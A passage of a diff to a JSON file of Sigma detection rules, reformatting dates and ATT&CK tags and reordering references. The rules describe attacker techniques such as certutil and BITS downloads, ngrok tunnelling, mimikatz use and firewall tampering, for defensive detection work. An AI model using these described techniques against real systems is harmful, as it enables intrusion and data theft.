command and control communication as this tool doesn't usually initiate network activity.\n", "meta": { "author": "Michael McKinley (@McKinleyMike), Tony Latteri (@TheLatteri)", - "creation_date": "2023/09/18", + "creation_date": "2023-09-18", "falsepositive": [ "Unknown" ], @@ -55927,7 +56033,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_addinutil_initiated.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -55947,7 +56053,7 @@ "description": "Detects executables located in potentially suspicious directories initiating network connections towards file sharing domains.", "meta": { "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2018/08/30", + "creation_date": "2018-08-30", "falsepositive": [ "Some installers located in the temp directory might communicate with the Github domains in order to download additional software. Baseline these cases or move the github domain to a lower level hunting rule." ], @@ -55956,15 +56062,15 @@ "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ + "https://www.cisa.gov/uscert/ncas/alerts/aa22-321a", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", - "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/exfil/Invoke-ExfilDataToGitHub.ps1", "https://twitter.com/M_haggis/status/900741347035889665", + "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/exfil/Invoke-ExfilDataToGitHub.ps1", "https://twitter.com/M_haggis/status/1032799638213066752", - "https://www.cisa.gov/uscert/ncas/alerts/aa22-321a", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_file_sharing_domains_susp_folders.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1105" ] }, @@ -55984,7 +56090,7 @@ "description": "Detects the use of the Windows Update Client binary (wuauclt.exe) to proxy execute code and making network connections.\nOne could easily make the DLL spawn a new process and inject to it to proxy the network connection and bypass this rule.\n", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2020/10/12", + "creation_date": "2020-10-12", "falsepositive": [ "Unknown" ], @@ -55997,7 +56103,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_wuauclt_network_connection.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -56017,7 +56123,7 @@ "description": "Detects a network connection that is initiated by the \"notepad.exe\" process.\nThis might be a sign of process injection from a beacon process or something similar.\nNotepad rarely initiates a network communication except when printing documents for example.\n", "meta": { "author": "EagleEye Team", - "creation_date": "2020/05/14", + "creation_date": "2020-05-14", "falsepositive": [ "Printing documents via notepad might cause communication with the printer via port 9100 or similar." ], @@ -56031,9 +56137,9 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_notepad.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.execution", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1055" ] }, @@ -56053,7 +56159,7 @@ "description": "Detects \"RegAsm.exe\" initiating a network connection to public IP adresses", "meta": { "author": "frack113", - "creation_date": "2024/04/25", + "creation_date": "2024-04-25", "falsepositive": [ "Unknown" ], @@ -56068,7 +56174,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_regasm_network_activity.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218.009" ] }, @@ -56088,7 +56194,7 @@ "description": "Detects outbound network connection initiated by Microsoft Dialer.\nThe Microsoft Dialer, also known as Phone Dialer, is a built-in utility application included in various versions of the Microsoft Windows operating system. Its primary function is to provide users with a graphical interface for managing phone calls via a modem or a phone line connected to the computer.\nThis is an outdated process in the current conext of it's usage and is a common target for info stealers for process injection, and is used to make C2 connections, common example is \"Rhadamanthys\"\n", "meta": { "author": "CertainlyP", - "creation_date": "2024/04/26", + "creation_date": "2024-04-26", "falsepositive": [ "In Modern Windows systems, unable to see legitimate usage of this process, However, if an organization has legitimate purpose for this there can be false positives." ], @@ -56097,7 +56203,7 @@ "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ - "hhttps://tria.ge/240301-rk34sagf5x/behavioral2", + "https://tria.ge/240301-rk34sagf5x/behavioral2", "https://research.checkpoint.com/2023/rhadamanthys-v0-5-0-a-deep-dive-into-the-stealers-components/", "https://app.any.run/tasks/6720b85b-9c53-4a12-b1dc-73052a78477d", "https://strontic.github.io/xcyclopedia/library/dialer.exe-0B69655F912619756C704A0BF716B61F.html", @@ -56124,7 +56230,7 @@ "description": "Detects suspicious network connections made by a well-known Windows binary run with no command line parameters", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/07/03", + "creation_date": "2022-07-03", "falsepositive": [ "Unknown" ], @@ -56137,7 +56243,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_binary_no_cmdline.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "20384606-a124-4fec-acbb-8bd373728613", @@ -56147,7 +56253,7 @@ "description": "Detects an executable initiating a network connection to \"ngrok\" domains.\nAttackers were seen using this \"ngrok\" in order to store their second stage payloads and malware.\nWhile communication with such domains can be legitimate, often times is a sign of either data exfiltration by malicious actors or additional download.\n", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/07/16", + "creation_date": "2022-07-16", "falsepositive": [ "Legitimate use of the ngrok service." ], @@ -56157,8 +56263,8 @@ "logsource.product": "windows", "refs": [ "https://ngrok.com/", - "https://www.virustotal.com/gui/file/cca0c1182ac114b44dc52dd2058fcd38611c20bb6b5ad84710681d38212f835a/", "https://www.rnbo.gov.ua/files/2023_YEAR/CYBERCENTER/november/APT29%20attacks%20Embassies%20using%20CVE-2023-38831%20-%20report%20en.pdf", + "https://www.virustotal.com/gui/file/cca0c1182ac114b44dc52dd2058fcd38611c20bb6b5ad84710681d38212f835a/", "https://ngrok.com/blog-post/new-ngrok-domains", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_domain_ngrok.yml" ], @@ -56183,7 +56289,7 @@ "description": "Detects initiated network connections to crypto mining pools", "meta": { "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2021/10/26", + "creation_date": "2021-10-26", "falsepositive": [ "Unlikely" ], @@ -56192,9 +56298,9 @@ "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ + "https://github.com/stamparm/maltrail/blob/3ea70459b9559134449423c0a7d8b965ac5c40ea/trails/static/suspicious/crypto_mining.txt", "https://www.virustotal.com/gui/search/behaviour_network%253A*.miningocean.org/files", "https://www.poolwatch.io/coin/monero", - "https://github.com/stamparm/maltrail/blob/3ea70459b9559134449423c0a7d8b965ac5c40ea/trails/static/suspicious/crypto_mining.txt", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_domain_crypto_mining_pools.yml" ], "tags": [ @@ -56218,7 +56324,7 @@ "description": "Detects Non-Standard tools initiating a connection over port 3389 indicating possible lateral movement.\nAn initial baseline is required before using this utility to exclude third party RDP tooling that you might use.\n", "meta": { "author": "Markus Neis", - "creation_date": "2019/05/15", + "creation_date": "2019-05-15", "falsepositive": [ "Third party RDP tools" ], @@ -56231,7 +56337,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_rdp_outbound_over_non_standard_tools.yml" ], "tags": [ - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1021.001", "car.2013-07-002" ] @@ -56252,7 +56358,7 @@ "description": "Detects uncommon outbound network activity via Kerberos default port indicating possible lateral movement or first stage PrivEsc via delegation.\n", "meta": { "author": "Ilyas Ochkov, oscd.community", - "creation_date": "2019/10/24", + "creation_date": "2019-10-24", "falsepositive": [ "Web Browsers and third party application might generate similar activity. An initial baseline is required." ], @@ -56265,9 +56371,9 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_outbound_kerberos_connection.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1558", - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1550.003" ] }, @@ -56294,7 +56400,7 @@ "description": "Detects an initiated network connection by a non browser process on the system to \"azurewebsites.net\". The latter was often used by threat actors as a malware hosting and exfiltration site.\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2024/06/24", + "creation_date": "2024-06-24", "falsepositive": [ "Unknown" ], @@ -56303,14 +56409,14 @@ "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ + "https://www.sentinelone.com/labs/wip26-espionage-threat-actors-abuse-cloud-infrastructure-in-targeted-telco-attacks/", "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/", - "https://intezer.com/blog/research/how-we-escaped-docker-in-azure-functions/", "https://symantec-enterprise-blogs.security.com/threat-intelligence/harvester-new-apt-attacks-asia", - "https://www.sentinelone.com/labs/wip26-espionage-threat-actors-abuse-cloud-infrastructure-in-targeted-telco-attacks/", + "https://intezer.com/blog/research/how-we-escaped-docker-in-azure-functions/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_domain_azurewebsites.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1102", "attack.t1102.001" ] @@ -56338,7 +56444,7 @@ "description": "Detects an executable that isn't dropbox but communicates with the Dropbox API", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/04/20", + "creation_date": "2022-04-20", "falsepositive": [ "Legitimate use of the API with a tool that the author wasn't aware of" ], @@ -56347,12 +56453,12 @@ "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ - "https://www.zscaler.com/blogs/security-research/new-espionage-attack-molerats-apt-targeting-users-middle-east", "https://app.any.run/tasks/7e906adc-9d11-447f-8641-5f40375ecebb", + "https://www.zscaler.com/blogs/security-research/new-espionage-attack-molerats-apt-targeting-users-middle-east", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_domain_dropbox_api.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1105" ] }, @@ -56372,7 +56478,7 @@ "description": "Detects an executable initiating a network connection to \"ngrok\" tunneling domains.\nAttackers were seen using this \"ngrok\" in order to store their second stage payloads and malware.\nWhile communication with such domains can be legitimate, often times is a sign of either data exfiltration by malicious actors or additional download.\n", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/11/03", + "creation_date": "2022-11-03", "falsepositive": [ "Legitimate use of the ngrok service." ], @@ -56387,7 +56493,7 @@ ], "tags": [ "attack.exfiltration", - "attack.command_and_control", + "attack.command-and-control", "attack.t1567", "attack.t1568.002", "attack.t1572", @@ -56440,7 +56546,7 @@ "description": "Detects an executable initiating a network connection to \"LocaltoNet\" tunneling sub-domains.\nLocaltoNet is a reverse proxy that enables localhost services to be exposed to the Internet.\nAttackers have been seen to use this service for command-and-control activities to bypass MFA and perimeter controls.\n", "meta": { "author": "Andreas Braathen (mnemonic.io)", - "creation_date": "2024/06/17", + "creation_date": "2024-06-17", "falsepositive": [ "Legitimate use of the LocaltoNet service." ], @@ -56454,7 +56560,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_domain_localtonet_tunnel.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1572", "attack.t1090", "attack.t1102" @@ -56490,7 +56596,7 @@ "description": "Detects a process that initiated a network connection over ports 5985 or 5986 from a non-network service account.\nThis could potentially indicates a remote PowerShell connection.\n", "meta": { "author": "Roberto Rodriguez @Cyb3rWard0g", - "creation_date": "2019/09/12", + "creation_date": "2019-09-12", "falsepositive": [ "Legitimate usage of remote PowerShell, e.g. remote administration and monitoring.", "Network Service user name of a not-covered localization" @@ -56506,7 +56612,7 @@ "tags": [ "attack.execution", "attack.t1059.001", - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1021.006" ] }, @@ -56533,7 +56639,7 @@ "description": "Detects programs that connect to known malware callback ports based on statistical analysis from two different sandbox system databases\n", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2017/03/19", + "creation_date": "2017-03-19", "falsepositive": [ "Unknown" ], @@ -56547,7 +56653,7 @@ ], "tags": [ "attack.persistence", - "attack.command_and_control", + "attack.command-and-control", "attack.t1571" ] }, @@ -56567,7 +56673,7 @@ "description": "Detects network connections from the Equation Editor process \"eqnedt32.exe\".", "meta": { "author": "Max Altgelt (Nextron Systems)", - "creation_date": "2022/04/14", + "creation_date": "2022-04-14", "falsepositive": [ "Unlikely" ], @@ -56576,9 +56682,9 @@ "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ - "https://news.sophos.com/en-us/2019/07/18/a-new-equation-editor-exploit-goes-commercial-as-maldoc-attacks-using-it-spike/", - "https://forensicitguy.github.io/xloader-formbook-velvetsweatshop-spreadsheet/", "https://twitter.com/forensicitguy/status/1513538712986079238", + "https://forensicitguy.github.io/xloader-formbook-velvetsweatshop-spreadsheet/", + "https://news.sophos.com/en-us/2019/07/18/a-new-equation-editor-exploit-goes-commercial-as-maldoc-attacks-using-it-spike/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_eqnedt.yml" ], "tags": [ @@ -56602,7 +56708,7 @@ "description": "Detects external IP address lookups by non-browser processes via services such as \"api.ipify.org\". This could be indicative of potential post compromise internet test activity.", "meta": { "author": "Janantha Marasinghe, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/04/24", + "creation_date": "2023-04-24", "falsepositive": [ "Legitimate use of the external websites for troubleshooting or network monitoring" ], @@ -56611,10 +56717,10 @@ "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ - "https://github.com/rsp/scripts/blob/c8bb272d68164a9836e4f273d8f924927f39b8c6/externalip-benchmark.md", "https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-302a", - "https://thedfirreport.com/2022/11/28/emotet-strikes-again-lnk-file-leads-to-domain-wide-ransomware/", + "https://github.com/rsp/scripts/blob/c8bb272d68164a9836e4f273d8f924927f39b8c6/externalip-benchmark.md", "https://www.trendmicro.com/en_us/research/23/e/managed-xdr-investigation-of-ducktail-in-trend-micro-vision-one.html", + "https://thedfirreport.com/2022/11/28/emotet-strikes-again-lnk-file-leads-to-domain-wide-ransomware/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_domain_external_ip_lookup.yml" ], "tags": [ @@ -56638,7 +56744,7 @@ "description": "Detects a network connection initiated by programs or processes running from suspicious or uncommon files system locations.\n", "meta": { "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2017/03/19", + "creation_date": "2017-03-19", "falsepositive": [ "Unknown" ], @@ -56651,7 +56757,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_initiated_uncommon_or_suspicious_locations.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1105" ] }, @@ -56671,7 +56777,7 @@ "description": "Detects a \"winlogon.exe\" process that initiate network communications with public IP addresses", "meta": { "author": "Christopher Peacock @securepeacock, SCYTHE @scythe_io", - "creation_date": "2023/04/28", + "creation_date": "2023-04-28", "falsepositive": [ "Communication to other corporate systems that use IP addresses from public address spaces" ], @@ -56684,9 +56790,9 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_winlogon_net_connections.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.execution", - "attack.command_and_control", + "attack.command-and-control", "attack.t1218.011" ] }, @@ -56706,7 +56812,7 @@ "description": "Detects a network connection initiated by the certutil.exe utility.\nAttackers can abuse the utility in order to download malware or additional payloads.\n", "meta": { "author": "frack113, Florian Roth (Nextron Systems)", - "creation_date": "2022/09/02", + "creation_date": "2022-09-02", "falsepositive": [ "Unknown" ], @@ -56719,7 +56825,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_certutil_initiated_connection.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1105" ] }, @@ -56739,7 +56845,7 @@ "description": "Detects an executable, which is not an internet browser or known application, initiating network connections to legit popular websites, which were seen to be used as dead drop resolvers in previous attacks.\nIn this context attackers leverage known websites such as \"facebook\", \"youtube\", etc. In order to pass through undetected.\n", "meta": { "author": "Sorina Ionescu, X__Junior (Nextron Systems)", - "creation_date": "2022/08/17", + "creation_date": "2022-08-17", "falsepositive": [ "One might need to exclude other internet browsers found in it's network or other applications like ones mentioned above from Microsoft Defender.", "Ninite contacting githubusercontent.com" @@ -56749,16 +56855,16 @@ "logsource.category": "network_connection", "logsource.product": "windows", "refs": [ + "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/", + "https://web.archive.org/web/20220830134315/https://content.fireeye.com/apt-41/rpt-apt41/", "https://blog.bushidotoken.net/2021/04/dead-drop-resolvers-espionage-inspired.html", - "https://www.linkedin.com/posts/kleiton-kurti_github-kleiton0x00redditc2-abusing-reddit-activity-7009939662462984192-5DbI/?originalSubdomain=al", "https://github.com/kleiton0x00/RedditC2", + "https://www.linkedin.com/posts/kleiton-kurti_github-kleiton0x00redditc2-abusing-reddit-activity-7009939662462984192-5DbI/?originalSubdomain=al", "https://twitter.com/kleiton0x7e/status/1600567316810551296", - "https://content.fireeye.com/apt-41/rpt-apt41", - "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_domain_dead_drop_resolvers.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1102", "attack.t1102.001" ] @@ -56786,7 +56892,7 @@ "description": "Detects a network connection initiated by \"wordpad.exe\" over uncommon destination ports.\nThis might indicate potential process injection activity from a beacon or similar mechanisms.\n", "meta": { "author": "X__Junior (Nextron Systems)", - "creation_date": "2023/07/12", + "creation_date": "2023-07-12", "falsepositive": [ "Other ports can be used, apply additional filters accordingly" ], @@ -56799,8 +56905,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_wordpad_uncommon_ports.yml" ], "tags": [ - "attack.defense_evasion", - "attack.command_and_control" + "attack.defense-evasion", + "attack.command-and-control" ] }, "uuid": "786cdae8-fefb-4eb2-9227-04e34060db01", @@ -56810,7 +56916,7 @@ "description": "Detects raw disk access using uncommon tools or tools that are located in suspicious locations (heavy filtering is required), which could indicate possible defense evasion attempts", "meta": { "author": "Teymur Kheirkhabarov, oscd.community", - "creation_date": "2019/10/22", + "creation_date": "2019-10-22", "falsepositive": [ "Likely" ], @@ -56823,7 +56929,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/raw_access_thread/raw_access_thread_susp_disk_access_using_uncommon_tools.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1006" ] }, @@ -56843,7 +56949,7 @@ "description": "This method detects mimikatz keywords in different Eventlogs (some of them only appear in older Mimikatz version that are however still used by different threat groups)", "meta": { "author": "Florian Roth (Nextron Systems), David ANDRE (additional keywords)", - "creation_date": "2017/01/10", + "creation_date": "2017-01-10", "falsepositive": [ "Naughty administrators", "AV Signature updates", @@ -56859,8 +56965,8 @@ ], "tags": [ "attack.s0002", - "attack.lateral_movement", - "attack.credential_access", + "attack.lateral-movement", + "attack.credential-access", "car.2013-07-001", "car.2019-04-004", "attack.t1003.002", @@ -56906,7 +57012,7 @@ "description": "Detects cases in which ngrok, a reverse proxy tool, forwards events to the local RDP port, which could be a sign of malicious behaviour", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/04/29", + "creation_date": "2022-04-29", "falsepositive": [ "Unknown" ], @@ -56920,7 +57026,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/terminalservices/win_terminalservices_rdp_ngrok.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1090" ] }, @@ -56940,7 +57046,7 @@ "description": "Detects new BITS transfer job saving local files with potential suspicious extensions", "meta": { "author": "frack113", - "creation_date": "2022/03/01", + "creation_date": "2022-03-01", "falsepositive": [ "While the file extensions in question can be suspicious at times. It's best to add filters according to your environment to avoid large amount false positives" ], @@ -56953,7 +57059,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_new_transfer_saving_susp_extensions.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.persistence", "attack.t1197" ] @@ -56974,7 +57080,7 @@ "description": "Detects the creation of a new bits job by PowerShell", "meta": { "author": "frack113", - "creation_date": "2022/03/01", + "creation_date": "2022-03-01", "falsepositive": [ "Administrator PowerShell scripts" ], @@ -56987,7 +57093,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_new_job_via_powershell.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.persistence", "attack.t1197" ] @@ -57008,7 +57114,7 @@ "description": "Detects a suspicious download using the BITS client from a FQDN that is unusual. Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads.", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/06/10", + "creation_date": "2022-06-10", "falsepositive": [ "This rule doesn't exclude other known TLDs such as \".org\" or \".net\". It's recommended to apply additional filters for software and scripts that leverage the BITS service" ], @@ -57022,7 +57128,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_new_transfer_via_uncommon_tld.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.persistence", "attack.t1197" ] @@ -57043,7 +57149,7 @@ "description": "Detects BITS transfer job downloading files from a file sharing domain.", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/06/28", + "creation_date": "2022-06-28", "falsepositive": [ "Unknown" ], @@ -57052,14 +57158,14 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md", + "https://www.microsoft.com/en-us/security/blog/2024/01/17/new-ttps-observed-in-mint-sandstorm-campaign-targeting-high-profile-individuals-at-universities-and-research-orgs/", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md", "https://twitter.com/malmoeb/status/1535142803075960832", - "https://www.microsoft.com/en-us/security/blog/2024/01/17/new-ttps-observed-in-mint-sandstorm-campaign-targeting-high-profile-individuals-at-universities-and-research-orgs/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_new_transfer_via_file_sharing_domains.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.persistence", "attack.t1197" ] @@ -57080,7 +57186,7 @@ "description": "Detects new BITS transfer job where the LocalName/Saved file is stored in a potentially suspicious location", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/06/28", + "creation_date": "2022-06-28", "falsepositive": [ "Unknown" ], @@ -57093,7 +57199,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_new_trasnfer_susp_local_folder.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.persistence", "attack.t1197" ] @@ -57114,7 +57220,7 @@ "description": "Detects the creation of a new bits job by Bitsadmin", "meta": { "author": "frack113", - "creation_date": "2022/03/01", + "creation_date": "2022-03-01", "falsepositive": [ "Many legitimate applications or scripts could leverage \"bitsadmin\". This event is best correlated with EID 16403 via the JobID field" ], @@ -57127,7 +57233,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_new_job_via_bitsadmin.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.persistence", "attack.t1197" ] @@ -57148,7 +57254,7 @@ "description": "Detects a BITS transfer job downloading file(s) from a direct IP address.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/01/11", + "creation_date": "2023-01-11", "falsepositive": [ "Unknown" ], @@ -57157,14 +57263,14 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", + "https://blog.talosintelligence.com/breaking-the-silence-recent-truebot-activity/", "https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/", + "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", "https://isc.sans.edu/diary/22264", - "https://blog.talosintelligence.com/breaking-the-silence-recent-truebot-activity/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_new_transfer_via_ip_address.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.persistence", "attack.t1197" ] @@ -57185,7 +57291,7 @@ "description": "Detect run not allowed files. Applocker is a very useful tool, especially on servers where unprivileged users have access. For example terminal servers. You need configure applocker and log collect to receive these events.", "meta": { "author": "Pushkarev Dmitry", - "creation_date": "2020/06/28", + "creation_date": "2020-06-28", "falsepositive": [ "Need tuning applocker or add exceptions in SIEM" ], @@ -57194,9 +57300,9 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://nxlog.co/documentation/nxlog-user-guide/applocker.html", - "https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/applocker/what-is-applocker", "https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/applocker/using-event-viewer-with-applocker", + "https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/applocker/what-is-applocker", + "https://nxlog.co/documentation/nxlog-user-guide/applocker.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/applocker/win_applocker_file_was_not_allowed_to_run.yml" ], "tags": [ @@ -57260,7 +57366,7 @@ "description": "Detects suspicious WMI event filter and command line event consumer based on WMI and Security Logs.", "meta": { "author": "Florian Roth (Nextron Systems), Gleb Sukhodolskiy, Timur Zinniatullin oscd.community", - "creation_date": "2017/08/22", + "creation_date": "2017-08-22", "falsepositive": [ "Unknown (data set is too small; further testing needed)" ], @@ -57269,13 +57375,13 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/", "https://twitter.com/mattifestation/status/899646620148539397", + "https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/wmi/win_wmi_persistence.yml" ], "tags": [ "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1546.003" ] }, @@ -57295,7 +57401,7 @@ "description": "Detects activity when Windows Defender Firewall has been reset to its default configuration", "meta": { "author": "frack113", - "creation_date": "2022/02/19", + "creation_date": "2022-02-19", "falsepositive": "No established falsepositives", "filename": "win_firewall_as_reset_config.yml", "level": "low", @@ -57306,7 +57412,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_reset_config.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.004" ] }, @@ -57326,7 +57432,7 @@ "description": "Detects activity when The Windows Defender Firewall service failed to load Group Policy", "meta": { "author": "frack113", - "creation_date": "2022/02/19", + "creation_date": "2022-02-19", "falsepositive": "No established falsepositives", "filename": "win_firewall_as_failed_load_gpo.yml", "level": "low", @@ -57337,7 +57443,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_failed_load_gpo.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.004" ] }, @@ -57357,7 +57463,7 @@ "description": "Detects when a all the rules have been deleted from the Windows Defender Firewall configuration", "meta": { "author": "frack113, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/01/17", + "creation_date": "2023-01-17", "falsepositive": "No established falsepositives", "filename": "win_firewall_as_delete_all_rules.yml", "level": "high", @@ -57368,7 +57474,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_delete_all_rules.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.004" ] }, @@ -57388,7 +57494,7 @@ "description": "Detects when a rule has been added to the Windows Firewall exception list", "meta": { "author": "frack113", - "creation_date": "2022/02/19", + "creation_date": "2022-02-19", "falsepositive": "No established falsepositives", "filename": "win_firewall_as_add_rule.yml", "level": "medium", @@ -57399,7 +57505,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_add_rule.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.004" ] }, @@ -57419,7 +57525,7 @@ "description": "Detects the addition of a new \"Allow\" firewall rule by the WMI process (WmiPrvSE.EXE).\nThis can occur if an attacker leverages PowerShell cmdlets such as \"New-NetFirewallRule\", or directly uses WMI CIM classes such as \"MSFT_NetFirewallRule\".\n", "meta": { "author": "frack113, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2024/05/10", + "creation_date": "2024-05-10", "falsepositive": [ "Administrator scripts or activity." ], @@ -57428,13 +57534,13 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - 